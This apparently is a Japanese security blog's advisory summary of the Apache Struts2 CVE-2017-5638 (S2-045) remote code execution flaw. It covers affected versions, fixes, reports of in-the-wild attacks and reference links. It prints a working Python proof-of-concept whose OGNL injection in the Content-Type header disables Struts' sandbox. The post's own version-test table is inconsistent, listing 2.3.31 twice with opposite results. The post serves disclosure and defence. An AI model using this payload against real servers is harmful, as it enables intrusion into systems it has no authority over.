2017-03-07
Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた
脆弱性まとめ | |
2017年3月7日、Struts2にリモートから任意のコード実行可能な脆弱性が確認されたとして情報(S2-045)が公開されました。ここでは脆弱性の関連情報をまとめます。
脆弱性の概要
対象 | Apache Struts2 |
---|---|
CVE | CVE-2017-5638 |
影響 | RCE |
重要度 | High(Apache Struts) |
CVSS | N/A |
PoC | インターネット上に公開済 |
悪用の状況 | 攻撃観測情報あり(2017/03/07) |
発見者/報告者 | Nike Zheng氏 |
Apache Struts
影響範囲
Struts2のバージョン確認方法
- WFB-INFディレクトリ内のJARファイル「strus2-core」につけられているファイル名に含まれている。
- JARファイル「struts2-core」に含まれる「MANIFEST.MF」にある「Bundle-Version」の表記で確認する。
(参考) Apache Struts2のバージョン調査について — (n)
対策
2017年3月8日付リリース以降のバージョンに更新する。
また、MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。
回避策
脆弱性の悪用の状況
Apache Struts 2 の脆弱性 S2-045(CVE-2017-5638)が公開されました。容易にサーバーに侵入が可能で、特に「36.45.172 [dot] 93」のIPアドレスから多数の組織で攻撃を確認しています。開発者からの情報などを参照して対策をご検討ください。
— NTTセキュリティ・ジャパン株式会社 (@NTTSec_JP) 2017年3月7日
脆弱性実証コード (PoC)
Online版 (piyokango未検証)
GUI版 (piyokango未検証)
CUI版 (piyokango一部検証済)
import requests import sys def poc(url): payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}" headers = {} headers["Content-Type"] = payload r = requests.get(url, headers=headers) if "105059592" in r.content: return True return False if __name__ == '__main__': if len(sys.argv) == 1: print "python s2-045.py target" sys.exit() if poc(sys.argv[1]): print "vulnerable" else: print "not vulnerable"
- Struts2 S2-045 Remote Command Execution
- https://github.com/tengzhangchao/Struts2_045-Poc
- exploit - CVE-2017-5638 - Apache Struts2 S2-045
- http://www.ijiandao.com/safe/cto/46798.html
実証コードが動作する対象バージョン
次の検証環境にてPoCの動作状況を評価した結果、Struts2を最新版に更新することでPoCの結果が「not vulnerable」となった。
Strutsのバージョン | PoCの実行結果 |
---|---|
Apache Struts 2.3.31 | vulnerable |
Apache Struts 2.3.31 | not vulnerable |
Apache Struts 2.5.10 | vulnerable |
Apache Struts 2.3.11 | not vulnerable |
Apache Struts 1.3.10(参考) | not vulnerable |
CVE-2017-5638の調査、まとめ、注意喚起など
- S2-045: Struts 2 Remote Code Execution vulnerability(CVE-2017-5638)
- S2-045 原理初步分析(CVE-2017-5638)
- s2-045漏洞分析
- [热点讨论] 论str2-045漏洞的加固方案 (未検証)
- Apache Struts2再度爆發高風險漏洞,HITCON Zeroday通報:金融電信業者受駭
- 关于Apache Struts2存在S2-045远程代码执行漏洞的安全公告 - 国家信息安全漏洞共享平台
更新履歴
- 2017年3月8日 AM 新規作成